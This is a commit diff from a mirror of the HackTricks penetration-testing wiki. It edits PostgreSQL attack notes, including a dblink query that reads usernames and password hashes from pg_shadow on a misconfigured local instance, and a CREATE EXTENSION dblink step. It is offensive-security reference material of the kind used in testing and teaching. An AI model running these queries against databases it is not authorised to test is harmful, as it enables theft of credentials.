mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#3694] No subject
This commit is contained in:
parent
b855f588ea
commit
6d9b57bb73
2 changed files with 17 additions and 6 deletions
|
@ -514,14 +514,25 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|||
Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the **`dblink` function**:
|
||||
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
password=supersecret
|
||||
dbname=somedb',
|
||||
'Select usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
port=5432
|
||||
user=someuser
|
||||
password=supersecret
|
||||
dbname=somedb',
|
||||
'Select usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that for the previos query to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with 
|
||||
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
|
||||
|
||||
```sql
|
||||
|
|
|
@ -40,7 +40,7 @@ SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|||
|
||||
Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with 
|
||||
|
||||
```
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
|
||||
|
|
Loading…
Reference in a new issue